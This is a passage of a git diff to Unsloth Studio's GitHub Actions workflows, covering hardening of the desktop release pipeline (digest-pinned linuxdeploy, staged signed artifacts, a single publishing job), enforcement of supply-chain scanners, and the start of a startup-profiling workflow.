'ubuntu-22.04' run: | sudo apt-get update - sudo apt-get install -y libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf + sudo apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf # ── Node.js ── - name: Setup Node.js @@ -406,39 +417,78 @@ jobs: if (config.bundle?.linux?.rpm) { throw new Error('bundle.linux.rpm must not be configured'); } + if (config.bundle?.linux?.appimage?.bundleMediaFramework !== false) { + throw new Error('Linux AppImage bundleMediaFramework must stay false'); + } const workflow = readFileSync('.github/workflows/release-desktop.yml', 'utf8'); const lines = workflow.split(/\r?\n/); - const releaseBodies = []; - for (let i = 0; i < lines.length; i += 1) { - const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/); - if (!match) continue; - const baseIndent = match[1].length; - const bodyLines = []; - i += 1; - for (; i < lines.length; i += 1) { - const line = lines[i]; - if (line.trim() === '') { - bodyLines.push(''); - continue; - } - const indent = line.match(/^\s*/)[0].length; - if (indent <= baseIndent) { - i -= 1; - break; - } - bodyLines.push(line.slice(baseIndent + 2)); - } - releaseBodies.push(bodyLines.join('\n')); + const linuxInstallLines = lines.filter((line) => line.includes('sudo apt-get install')); + const ayatanaPackage = ['libayatana', 'appindicator3-dev'].join('-'); + if (linuxInstallLines.some((line) => line.includes(ayatanaPackage))) { + throw new Error('Desktop Linux release must not install the Ayatana appindicator dev package'); } - if (releaseBodies.length === 0) { - throw new Error('Expected at least one desktop release body'); + if (!linuxInstallLines.some((line) => line.includes('libappindicator3-dev'))) { + throw new Error('Desktop Linux release must install libappindicator3-dev'); } - for (const body of releaseBodies) { - if (/\brpm\b|\.rpm/i.test(body)) { - throw new Error('Desktop release body must not advertise RPM packages'); + const linuxdeployLines = lines.filter((line) => line.includes('github.com/linuxdeploy/linuxdeploy/releases/download')); + if (!linuxdeployLines.some((line) => line.includes('1-alpha-20250213-2/linuxdeploy-x86_64.AppImage'))) { + throw new Error('Desktop Linux release must pin linuxdeploy 1-alpha-20250213-2'); + } + // A pinned version/path is reproducibility, not integrity: the asset + // can be replaced after upload. Require the immutable SHA-256 digest + // to be pinned AND verified before chmod +x. Scope every check to the + // real "Pin linuxdeploy for AppImage" step so this guard cannot + // satisfy itself; a file-wide scan would match the guard's own code. + const expectedLinuxdeployDigest = '4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a'; + const isComment = (line) => { + const trimmed = line.trim(); + return trimmed.startsWith('#') || trimmed.startsWith('//'); + }; + const stepStart = lines.findIndex((line) => /^\s*- name: Pin linuxdeploy for AppImage\s*$/.test(line)); + if (stepStart === -1) { + throw new Error('Desktop Linux release must keep the "Pin linuxdeploy for AppImage" step'); + } + const stepIndent = lines[stepStart].search(/\S/); + let stepEnd = lines.length; + for (let i = stepStart + 1; i < lines.length; i += 1) { + const line = lines[i]; + if (line.trim() === '') continue; + const indent = line.search(/\S/); + // The next sibling step ('- ...') at the same indent, or any dedent + // below the step, ends this step's block. + if (indent < stepIndent || (indent === stepIndent && /^\s*-\s/.test(line))) { + stepEnd = i; + break; } } + const stepLines = lines.slice(stepStart, stepEnd); + const digestEnvRe = /^\s*LINUXDEPLOY_SHA256:\s*["']([0-9a-f]{64})["']\s*$/; + const digestEnvLine = stepLines.find((line) => digestEnvRe.test(line)); + if (!digestEnvLine || digestEnvLine.match(digestEnvRe)[1] !== expectedLinuxdeployDigest) { + throw new Error('Desktop Linux release must pin the linuxdeploy SHA-256 digest in the LINUXDEPLOY_SHA256 env'); + } + const sha256Idx = stepLines.findIndex((line) => !isComment(line) && line.includes('sha256sum -c')); + if (sha256Idx === -1) { + throw new Error('Desktop Linux release must verify the linuxdeploy digest with sha256sum -c before use'); + } + const chmodIdx = stepLines.findIndex((line) => !isComment(line) && /chmod\s+\+x/.test(line)); + if (chmodIdx !== -1 && sha256Idx > chmodIdx) { + throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x'); + } + const releaseBody = process.env.DESKTOP_RELEASE_NOTES; + if (!releaseBody) { + throw new Error('DESKTOP_RELEASE_NOTES must not be empty'); + } + if (/\brpm\b|\.rpm/i.test(releaseBody)) { + throw new Error('Desktop release body must not advertise RPM packages'); + } + if (/AppImage.*universal|universal.*AppImage/i.test(releaseBody)) { + throw new Error('Desktop release body must not advertise AppImage as universal'); + } + if (!/AppImage.*experimental/i.test(releaseBody)) { + throw new Error('Desktop release body must mark AppImage as experimental'); + } JS - name: Install frontend dependencies @@ -562,39 +612,53 @@ jobs: Get-Command trusted-signing-cli -ErrorAction SilentlyContinue || Write-Output "trusted-signing-cli NOT in PATH" trusted-signing-cli --version || Write-Output "trusted-signing-cli failed to run" - # ── Linux: build + sign + upload ── + # ── Linux: pin AppImage packaging toolchain ── + - name: Pin linuxdeploy for AppImage + if: matrix.platform == 'ubuntu-22.04' + shell: bash + env: + # Pinning the versioned release path is reproducibility, not + # integrity: a GitHub release asset can be replaced (or its delivery + # path compromised) after upload. The SHA-256 below is the immutable + # digest of this exact asset and is the integrity gate. If linuxdeploy + # publishes a new build under this tag, this run fails closed and the + # digest must be re-pinned deliberately. + LINUXDEPLOY_URL: "https://github.com/linuxdeploy/linuxdeploy/releases/download/1-alpha-20250213-2/linuxdeploy-x86_64.AppImage" + LINUXDEPLOY_SHA256: "4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a" + run: | + set -euo pipefail + tools_dir="$RUNNER_TEMP/tauri-tools-cache/tauri" + mkdir -p "$tools_dir" + dest="$tools_dir/linuxdeploy-x86_64.AppImage" + curl -fsSL "$LINUXDEPLOY_URL" -o "$dest" + # Verify the digest BEFORE the binary is ever marked executable. The + # next step builds the AppImage with the Tauri signing key, so a + # substituted linuxdeploy that ran here could exfiltrate signing + # material or tamper with release artifacts. Fail closed on any + # mismatch. + echo "${LINUXDEPLOY_SHA256} ${dest}" | sha256sum -c - + chmod +x "$dest" + + # ── Linux: build + sign ── - name: Build Linux app + id: build_linux if: matrix.platform == 'ubuntu-22.04' uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5 env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }} TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }} + XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache with: projectPath: studio tauriScript: npx --prefix . tauri - tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }} - releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}' - releaseBody: | - Desktop app for Unsloth Studio. - - **macOS**: Download the Apple Silicon `.dmg`. - **Windows**: Download the `-setup.exe` installer. - **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal). - - > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. - > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` - > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. - releaseDraft: ${{ inputs.draft }} - prerelease: ${{ needs.prepare-version.outputs.prerelease }} args: -v ${{ matrix.args }} - # ── macOS: build + sign + notarize + upload ── + # ── macOS: build + sign + notarize ── - name: Build macOS app + id: build_macos if: matrix.platform == 'macos-latest' uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5 env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }} TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }} APPLE_SIGNING_IDENTITY: ${{ secrets.APPLE_SIGNING_IDENTITY }} @@ -604,28 +668,14 @@ jobs: with: projectPath: studio tauriScript: npx --prefix . tauri - tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }} - releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}' - releaseBody: | - Desktop app for Unsloth Studio. - - **macOS**: Download the Apple Silicon `.dmg`. - **Windows**: Download the `-setup.exe` installer. - **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal). - - > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. - > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` - > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. - releaseDraft: ${{ inputs.draft }} - prerelease: ${{ needs.prepare-version.outputs.prerelease }} args: -v ${{ matrix.args }} - # ── Windows: build + sign + upload ── + # ── Windows: build + sign ── - name: Build Windows app + id: build_windows if: matrix.platform == 'windows-latest' uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5 env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }} TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }} AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }} @@ -636,43 +686,252 @@ jobs: with: projectPath: studio tauriScript: npx --prefix . tauri - tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }} - releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}' - releaseBody: | - Desktop app for Unsloth Studio. - - **macOS**: Download the Apple Silicon `.dmg`. - **Windows**: Download the `-setup.exe` installer. - **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal). - - > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. - > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` - > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. - releaseDraft: ${{ inputs.draft }} - prerelease: ${{ needs.prepare-version.outputs.prerelease }} args: -v ${{ matrix.args }} - # Release process note: only non-draft workflow runs advance the public - # desktop-latest updater channel. Draft builds are for private review; if a - # draft is manually published later, this channel intentionally remains - # unchanged until a narrow manual channel-publish flow is added or a public - # desktop release is created by running this workflow with draft=false. - publish-updater-channel: - name: Publish desktop updater channel + - name: Stage release assets + shell: bash + env: + ARTIFACT_PATHS: ${{ steps.build_linux.outputs.artifactPaths || steps.build_macos.outputs.artifactPaths || steps.build_windows.outputs.artifactPaths }} + RELEASE_ARCH: ${{ matrix.release_arch }} + run: | + set -euo pipefail + if command -v python3 >/dev/null 2>&1; then + PYTHON=python3 + else + PYTHON=python + fi + "$PYTHON" <<'PY' + import json + import os + import pathlib + import re + import shutil + import sys + import unicodedata + + raw_paths = os.environ.get('ARTIFACT_PATHS', '') + try: + artifact_paths = json.loads(raw_paths) + except json.JSONDecodeError as error: + sys.exit(f'Invalid tauri-action artifactPaths output: {error}') + if not isinstance(artifact_paths, list) or not artifact_paths: + sys.exit('tauri-action did not return any release artifacts') + + destination = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets') + destination.mkdir(parents=True, exist_ok=True) + staged = [] + for raw_path in artifact_paths: + source = pathlib.Path(raw_path) + if not source.is_file(): + continue + name = source.name + for extension in ('.app.tar.gz.sig', '.app.tar.gz'): + if name.endswith(extension): + name = f'{name[:-len(extension)]}_{os.environ["RELEASE_ARCH"]}{extension}' + break + name = unicodedata.normalize('NFD', name) + name = ''.join(character for character in name if not unicodedata.combining(character)) + name = re.sub(r'[ ()\[\]{}]', '.', name) + while '..' in name: + name = name.replace('..', '.') + target = destination / name + if target.exists(): + sys.exit(f'Duplicate staged release asset name: {name}') + shutil.copy2(source, target) + staged.append(name) + + if not staged: + sys.exit('No release files were staged') + print('Staged release assets:') + print('\n'.join(sorted(staged))) + PY + + - name: Upload signed release assets + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: desktop-release-${{ matrix.artifact }} + path: ${{ runner.temp }}/desktop-release-assets/* + if-no-files-found: error + compression-level: 0 + retention-days: 1 + + # Only this job gets write access; builds hand off signed files via artifacts. + # Draft runs do not advance the public desktop-latest channel. + publish-release: + name: Publish desktop release needs: [prepare-version, build] - if: ${{ !inputs.draft }} runs-on: ubuntu-latest permissions: - contents: write + contents: write # create the versioned Release and replace updater-channel metadata env: GH_REPO: ${{ github.repository }} APP_VERSION: ${{ needs.prepare-version.outputs.app_version }} + PYPI_VERSION: ${{ needs.prepare-version.outputs.pypi_version }} STUDIO_VERSION: ${{ needs.prepare-version.outputs.studio_version }} DESKTOP_RELEASE_TAG: ${{ needs.prepare-version.outputs.desktop_release_tag }} DESKTOP_PRERELEASE: ${{ needs.prepare-version.outputs.prerelease }} steps: + - name: Harden runner (audit) + uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + with: + egress-policy: audit + + - name: Download signed release assets + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + pattern: desktop-release-* + path: ${{ runner.temp }}/desktop-release-assets + merge-multiple: true + + - name: Validate release asset set + shell: bash + run: | + set -euo pipefail + python3 <<'PY' + import pathlib + import os + import sys + + asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets') + files = [path for path in asset_dir.iterdir() if path.is_file()] + required_suffixes = ( + '.dmg', + '.app.tar.gz', + '.app.tar.gz.sig', + '.deb', + '.AppImage', + '.AppImage.sig', + '-setup.exe', + '-setup.exe.sig', + ) + for suffix in required_suffixes: + matches = [path for path in files if path.name.endswith(suffix)] + if len(matches) != 1: + sys.exit(f'Expected exactly one {suffix} release asset, found {len(matches)}') + if any(path.name == 'latest.json' for path in files): + sys.exit('Build artifacts must not supply latest.json') + print('\n'.join(sorted(path.name for path in files))) + PY + + - name: Create or validate versioned release + shell: bash + env: + GH_TOKEN: ${{ github.token }} + RELEASE_DRAFT: ${{ inputs.draft }} + run: | + set -euo pipefail + notes_file="$RUNNER_TEMP/desktop-release-notes.md" + printf '%s\n' "$DESKTOP_RELEASE_NOTES" > "$notes_file" + + release_json="$RUNNER_TEMP/versioned-release.json" + # REST tag lookup omits drafts; `gh release view` also checks pending tags. + if gh release view "$DESKTOP_RELEASE_TAG" \ + --json tagName,isDraft,isPrerelease > "$release_json" 2>/dev/null; then + python3 <<'PY' + import json + import os + import pathlib + import sys + + release = json.loads(pathlib.Path(os.environ['RUNNER_TEMP'], 'versioned-release.json').read_text()) + expected_draft = os.environ['RELEASE_DRAFT'].lower() == 'true' + expected_prerelease = os.environ['DESKTOP_PRERELEASE'].lower() == 'true' + if release.get('tagName') != os.environ['DESKTOP_RELEASE_TAG']: + sys.exit('Existing desktop release tag does not match the requested tag') + if bool(release.get('isDraft')) != expected_draft: + sys.exit('Existing desktop release draft state does not match the workflow input') + if bool(release.get('isPrerelease')) != expected_prerelease: + sys.exit('Existing desktop release prerelease state does not match the requested version') + PY + else + release_flags=( + --title "Unsloth Studio (Desktop) ${STUDIO_VERSION}" + --notes-file "$notes_file" + --target "$GITHUB_SHA" + ) + if [ "$RELEASE_DRAFT" = "true" ]; then + release_flags+=(--draft) + fi + if [ "$DESKTOP_PRERELEASE" = "true" ]; then + release_flags+=(--prerelease) + fi + gh release create "$DESKTOP_RELEASE_TAG" "${release_flags[@]}" + fi + + - name: Publish versioned release assets + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/desktop-release-assets"/* --clobber + + - name: Generate and publish versioned updater metadata + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + python3 <<'PY' + import datetime + import json + import os + import pathlib + import sys + import urllib.parse + + asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets') + files = [path for path in asset_dir.iterdir() if path.is_file()] + + def exactly_one(suffix: str) -> pathlib.Path: + matches = [path for path in files if path.name.endswith(suffix)] + if len(matches) != 1: + sys.exit(f'Expected exactly one {suffix} updater asset, found {len(matches)}') + return matches[0] + + def entry(signature_suffix: str) -> dict[str, str]: + signature_path = exactly_one(signature_suffix) + bundle_name = signature_path.name.removesuffix('.sig') + bundle_path = asset_dir / bundle_name + if not bundle_path.is_file(): + sys.exit(f'Missing updater bundle for {signature_path.name}: {bundle_name}') + encoded_tag = urllib.parse.quote(os.environ['DESKTOP_RELEASE_TAG'], safe='') + encoded_name = urllib.parse.quote(bundle_name, safe='') + return { + 'signature': signature_path.read_text(), + 'url': ( + f'https://github.com/{os.environ["GITHUB_REPOSITORY"]}/releases/download/' + f'{encoded_tag}/{encoded_name}' + ), + } + + darwin = entry('.app.tar.gz.sig') + linux = entry('.AppImage.sig') + windows = entry('.exe.sig') + notes = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-notes.md').read_text() + metadata = { + 'version': os.environ['APP_VERSION'], + # App version is SemVer; CHANGELOG.md is keyed by the backend release. + 'pypi_version': os.environ['PYPI_VERSION'], + 'notes': notes, + 'pub_date': datetime.datetime.now(datetime.timezone.utc).isoformat(timespec='milliseconds').replace('+00:00', 'Z'), + 'platforms': { + 'darwin-aarch64': darwin, + 'darwin-aarch64-app': darwin, + 'linux-x86_64': linux, + 'linux-x86_64-appimage': linux, + 'windows-x86_64': windows, + 'windows-x86_64-nsis': windows, + }, + } + output = pathlib.Path(os.environ['RUNNER_TEMP'], 'latest.json') + output.write_text(json.dumps(metadata, indent=2) + '\n') + PY + gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/latest.json" --clobber + - name: Download versioned updater metadata + if: ${{ !inputs.draft }} shell: bash env: GH_TOKEN: ${{ github.token }} @@ -697,6 +956,7 @@ jobs: test -s "$RUNNER_TEMP/desktop-updater/latest.json" - name: Validate versioned updater metadata + if: ${{ !inputs.draft }} shell: bash run: | python3 <<'PY' @@ -756,6 +1016,7 @@ jobs: PY - name: Ensure desktop updater channel release + if: ${{ !inputs.draft }} shell: bash env: GH_TOKEN: ${{ github.token }} @@ -788,6 +1049,7 @@ jobs: PY - name: Prevent updater channel downgrade + if: ${{ !inputs.draft }} shell: bash env: GH_TOKEN: ${{ github.token }} @@ -878,6 +1140,7 @@ jobs: PY - name: Publish desktop updater channel metadata + if: ${{ !inputs.draft }} shell: bash env: GH_TOKEN: ${{ github.token }} diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml index 33ac3b9bd8..27eafbedea 100644 --- a/.github/workflows/security-audit.yml +++ b/.github/workflows/security-audit.yml @@ -2,8 +2,8 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # Multi-language supply-chain audit. Triggers: -# - PRs touching any dependency manifest (Python / npm / Cargo) or -# this workflow file, +# - PRs touching any dependency manifest (Python / npm / Cargo), a +# scanner or its allowlist baseline, or this workflow file, # - push to main / pip, # - nightly @ 04:13 UTC so newly-published advisories surface even # when no PR opens, @@ -36,8 +36,8 @@ # - unsloth `huggingfacenotorch` extras (the canonical install path # for fine-tuning users; pulls transformers / peft / accelerate / # trl / datasets / diffusers / sentence-transformers / etc.) -# - all six Studio backend requirements files -# - Studio frontend (npm) and Tauri shell (cargo) +# - all six Unsloth backend requirements files +# - Unsloth frontend (npm) and Tauri shell (cargo) # Each Python step builds a filtered dep list from pyproject.toml + # requirements/*.txt before auditing. We do NOT install any of these # -- pip-audit resolves through PyPI metadata, scan_packages.py @@ -57,7 +57,9 @@ on: - 'studio/src-tauri/Cargo.lock' - 'pyproject.toml' - 'scripts/scan_packages.py' + - 'scripts/scan_packages_baseline.json' - 'scripts/scan_npm_packages.py' + - 'scripts/scan_npm_packages_baseline.json' - '.github/workflows/security-audit.yml' push: branches: [main, pip] @@ -216,7 +218,7 @@ jobs: # on the runner). A comment line is left in place so the # skipped specs are obvious in the artifact. # The `huggingface` extra is `huggingfacenotorch` plus torch / - # torchvision / triton, deliberately skipped: Studio backend + # torchvision / triton, deliberately skipped: Unsloth backend # already pins a torch and the +cu* / +cpu local-version tags # trip up the PyPI resolver in `-r` mode. run: | @@ -251,7 +253,7 @@ jobs: # `-r requirements.txt` resolves the requirements through pip's # dependency resolver against PyPI metadata and audits the # resolved tree without ever executing setup.py / install - # hooks. Way faster than installing the full Studio runtime + # hooks. Way faster than installing the full Unsloth runtime # and -- critically -- safer: an attacker who has compromised # a transitive dep cannot run code in this job. # @@ -324,9 +326,9 @@ jobs: } >> "$GITHUB_STEP_SUMMARY" # ───────────────────────────────────────────────────────────── - # npm: Studio frontend + # npm: Unsloth frontend # ───────────────────────────────────────────────────────────── - - name: npm audit (Studio frontend) + - name: npm audit (Unsloth frontend) # `npm audit` resolves the lockfile through the npmjs.com # advisory DB. `--audit-level=high` filters the noise floor # to only HIGH and CRITICAL. We do NOT pass --omit=dev: a @@ -340,7 +342,7 @@ jobs: # Always also write the full JSON for grep-ability. npm audit --json > ../../logs-npm-audit.json || true { - echo "## npm audit (Studio frontend)" + echo "## npm audit (Unsloth frontend)" echo echo '```' tail -200 ../../logs-npm-audit.txt @@ -348,9 +350,9 @@ jobs: } >> "$GITHUB_STEP_SUMMARY" # ───────────────────────────────────────────────────────────── - # cargo: Studio Tauri shell + # cargo: Unsloth Tauri shell # ───────────────────────────────────────────────────────────── - - name: cargo audit (Studio Tauri) + - name: cargo audit (Unsloth Tauri) # `--deny warnings` would make the job fail on any advisory. # Keep non-blocking initially; drop continue-on-error after # the baseline closes. @@ -360,7 +362,7 @@ jobs: set +e cargo audit | tee ../../logs-cargo-audit.txt { - echo "## cargo audit (Studio Tauri)" + echo "## cargo audit (Unsloth Tauri)" echo echo '```' tail -200 ../../logs-cargo-audit.txt @@ -434,7 +436,7 @@ jobs: # ───────────────────────────────────────────────────────────── # Semgrep: design-flaw detection (catches what regex-pattern - # scanning of malicious authors cannot — first-party logic bugs + # scanning of malicious authors cannot, e.g. first-party logic bugs # like langchain-core CVE-2025-68664 dumps/dumpd injection, # n8n CVE-2025-68668 _pyodide.eval_code sandbox escape, marimo # CVE-2026-39987 unauth WebSocket). @@ -557,7 +559,7 @@ jobs: # ───────────────────────────────────────────────────────────── # CycloneDX SBOM. Lets downstream consumers audit what's - # actually shipped in unsloth wheels and the Studio backend + # actually shipped in unsloth wheels and the Unsloth backend # runtime. Generates one JSON file per requirements input plus # a combined SBOM keyed off pyproject.toml; uploads as a build # artifact (and a future step can attest it via SLSA). @@ -738,7 +740,7 @@ jobs: # `--with-deps` makes the scan transitive: every package the # declared set resolves to gets fetched and pattern-scanned, not # just the top-level pins. Resolving the full transitive closure - # of the unsloth + Studio dep tree downloads several hundred + # of the unsloth + Unsloth dep tree downloads several hundred # archives, hence the longer timeout. # # Sharded across runners for wall-clock parallelism. Each shard @@ -747,7 +749,7 @@ jobs: # composition tries to balance load: # - hf-stack: pyproject extras + no-torch-runtime # (~150 archives, transformers/peft/accelerate/...) - # - studio: FastAPI/Studio backend + overrides + extras-no-deps + # - studio: FastAPI/Unsloth backend + overrides + extras-no-deps # (~150 archives, smaller scientific stack) # - extras: the heavy openai-whisper / scikit-learn / librosa # stack (~250 archives, dominant cost) @@ -849,10 +851,13 @@ jobs: grep -q "Standalone pre-install package scanner" scripts/scan_packages.py - name: Scan declared + transitive Python deps - # scan_packages.py exits 1 on CRITICAL/HIGH findings, 0 on - # clean. We swallow the exit because the baseline isn't - # triaged yet; surface the findings in the workflow summary. - # Drop continue-on-error after the first clean run on main. + # scan_packages.py exits 1 on NON-baselined CRITICAL/HIGH + # findings, 0 otherwise. It scans code-only (docstrings and + # comments are blanked first) and suppresses reviewed + # known-good findings via scripts/scan_packages_baseline.json, + # so legitimate-library noise no longer red-fails the gate. + # The step stays advisory until SCAN_ENFORCE=1 (see env below); + # then PIPESTATUS propagates the scanner's exit code. # # `--with-deps` walks PyPI metadata to enumerate every # transitive dep the declared set would install, then scans @@ -869,6 +874,14 @@ jobs: # downloads in exchange for wall-clock parallelism. env: SHARD_FILES: ${{ matrix.shard.files }} + # Enforcement switch. "1" = blocking: a non-baselined CRITICAL/HIGH + # fails the build. scan_packages.py scans code-only (docstrings/comments + # stripped), fetches sdist-only packages directly from PyPI (no build) + # so every shard resolves, and honors the reviewed allowlist at + # scripts/scan_packages_baseline.json, so only NON-baselined + # CRITICAL/HIGH cause its exit 1. The committed baseline makes all three + # shards exit 0 today; set this back to "0" to return to advisory. + SCAN_ENFORCE: "1" run: | set +e mkdir -p logs @@ -884,12 +897,14 @@ jobs: fi done echo "::endgroup::" + rc=0 if [ ${#REQ_ARGS[@]} -eq 0 ]; then echo "[security-audit] shard ${{ matrix.shard.id }}: no PyPI specs, nothing to scan" \ | tee "$LOG" else python scripts/scan_packages.py --with-deps "${REQ_ARGS[@]}" \ 2>&1 | tee "$LOG" + rc=${PIPESTATUS[0]} fi { echo "## scan_packages :: shard ${{ matrix.shard.id }}" @@ -897,11 +912,19 @@ jobs: echo "### Files in this shard" for f in $SHARD_FILES; do echo "- audit-reqs/$f.txt"; done echo + echo "scan_packages.py exit code: $rc (enforce=$SCAN_ENFORCE)" + echo echo '### Findings (tail)' echo '```' tail -200 "$LOG" echo '```' } >> "$GITHUB_STEP_SUMMARY" + # Advisory by default; blocking once SCAN_ENFORCE=1 and the baseline + # is committed. PIPESTATUS is captured above so `tee` does not mask the + # scanner's exit code. + if [ "$SCAN_ENFORCE" = "1" ]; then + exit "$rc" + fi - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 if: always() @@ -941,7 +964,7 @@ jobs: # documented at scripts/scan_npm_packages.py top-of-file. The # script is stdlib-only so adding it does not increase the # transitive supply-chain surface. - name: npm scan-packages (Studio frontend tarballs) + name: npm scan-packages (Unsloth frontend tarballs) runs-on: ubuntu-latest timeout-minutes: 30 needs: [] @@ -975,24 +998,37 @@ jobs: python3 -c "import ast; ast.parse(open('scripts/scan_npm_packages.py').read())" - name: Scan npm tarballs (declared + transitive, no install) - # The script exits 1 on HIGH/CRITICAL findings; we capture the - # full log and surface it in the step summary either way. It - # never runs `npm install`, never executes anything from a - # downloaded tarball, and only fetches from registry.npmjs.org. - # Initially non-blocking so the baseline can settle; drop - # continue-on-error once the baseline is clean for a week. + # scan_npm_packages.py exits 1 on NON-baselined HIGH/CRITICAL + # findings, 0 otherwise. It scans code-only (JS/TS comments are + # blanked first) and honors a reviewed allowlist at + # scripts/scan_npm_packages_baseline.json. It never runs + # `npm install`, never executes anything from a downloaded + # tarball, and only fetches from registry.npmjs.org. The npm + # corpus is clean (the baseline is empty), so the gate is + # enforcing (SCAN_ENFORCE=1) and any new finding fails the build. + env: + SCAN_ENFORCE: "1" run: | - set -o pipefail + set +e LOG=logs-scan-npm.txt python3 scripts/scan_npm_packages.py 2>&1 | tee "$LOG" + rc=${PIPESTATUS[0]} { echo "## scan_npm_packages" echo + echo "scan_npm_packages.py exit code: $rc (enforce=$SCAN_ENFORCE)" + echo echo '### Findings (tail)' echo '```' tail -300 "$LOG" echo '```' } >> "$GITHUB_STEP_SUMMARY" + # Blocking: the npm corpus is clean, so any non-baselined + # HIGH/CRITICAL is new and should fail the build. PIPESTATUS is + # captured above so `tee` does not mask the scanner's exit code. + if [ "$SCAN_ENFORCE" = "1" ]; then + exit "$rc" + fi - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 if: always() @@ -1137,7 +1173,7 @@ jobs: with: python-version: '3.12' - - name: Install Studio frontend deps (--ignore-scripts) + - name: Install Unsloth frontend deps (--ignore-scripts) # `npm audit signatures` requires node_modules to be populated. # `--ignore-scripts` is mandatory: this is exactly the lever the # new-install-script gate below protects against, and we must diff --git a/.github/workflows/startup-profile-ci.yml b/.github/workflows/startup-profile-ci.yml new file mode 100644 index 0000000000..fbde99836d --- /dev/null +++ b/.github/workflows/startup-profile-ci.yml @@ -0,0 +1,156 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +# Measures where Studio's startup time goes, on each platform. +# +# Nothing recorded a number before: main.py logs "lifespan startup completed in X ms" +# and studio_test_kit polls /healthz, but both throw the elapsed time away. A first +# local run (Linux, warm cache, 18-core server) put `import main` at 5.7-6.6s BEFORE +# the server can bind, dominated by eager module-level imports pulled in by routes: +# torch ~1.9s self, unsloth_zoo ~0.8s, routes ~0.6s, transformers ~0.5s. +# +# Not a gate yet: --max-healthz-seconds exists, but a budget should come from +# observed numbers rather than a guess. + +name: Startup profile + +on: + pull_request: + paths: + # The measured import graph is the whole backend tree: main.py imports auth, + # core, hub, loggers, models, picker, routes and utils at module scope. + - 'studio/backend/**' + - '!studio/backend/tests/**' + # The launch phase spawns `unsloth studio --api-only`, so the CLI counts too. + - 'unsloth_cli/**' + - 'studio/src-tauri/src/preflight**' + # The profiler hardcodes the desktop argv that process.rs::backend_args builds, + # so a change there must schedule a run or the two silently diverge. + - 'studio/src-tauri/src/process.rs' + - 'scripts/profile_startup.py' + - '.github/workflows/startup-profile-ci.yml' + # The job profiles whatever `install.sh --local` built: the installers pick the + # venv's Python and the dependency specs, and pyproject's include list is what + # makes --local overlay studio.backend*. + - 'install.sh' + - 'install.ps1' + - 'pyproject.toml' + # --local also runs the checkout's setup scripts (install.sh picks + # $_REPO_ROOT/studio/setup.sh, the editable install resolves setup.ps1 to the + # repo), and both call install_python_stack.py, which picks the dependencies. + - 'studio/setup.sh' + - 'studio/setup.ps1' + - 